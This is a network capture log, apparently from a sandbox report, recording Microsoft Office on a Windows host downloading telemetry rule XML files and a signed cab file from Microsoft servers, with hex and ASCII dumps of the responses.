2024-11-21 06:09:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: a840fe9d-1820-4a0e-ace9-8965302c6624 MS-RequestId: 074bc889-f33e-4a32-b4e6-9fd5e0de5310 MS-CV: vq3Gb3VzAUGy0D56.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 06:09:56 GMT Connection: close Content-Length: 30005
2024-11-21 06:09:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-21 06:09:57 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:09:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:09:57 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:09:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T060957Z-178bfbc474bv587zhC1NYCny5w00000000w000000000hqtw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:09:57 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 06:09:57 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-21 06:09:57 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-21 06:09:57 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-21 06:09:57 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-21 06:09:57 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-21 06:09:58 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-21 06:09:58 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-21 06:09:58 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-21 06:09:58 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:00 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:00 UTC	492	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:00 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: e8aec935-001e-0046-54a1-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061000Z-178bfbc474brk967hC1NYCfu6000000000tg00000000gk0x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:00 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061000Z-178bfbc474brk967hC1NYCfu6000000000u000000000fc0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: d37f37b1-d01e-002b-586c-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061000Z-1777c6cb754xlpjshC1TEBv8cc0000000arg00000000nc4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061000Z-178bfbc474bmqmgjhC1NYCy16c000000016g000000003ugd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
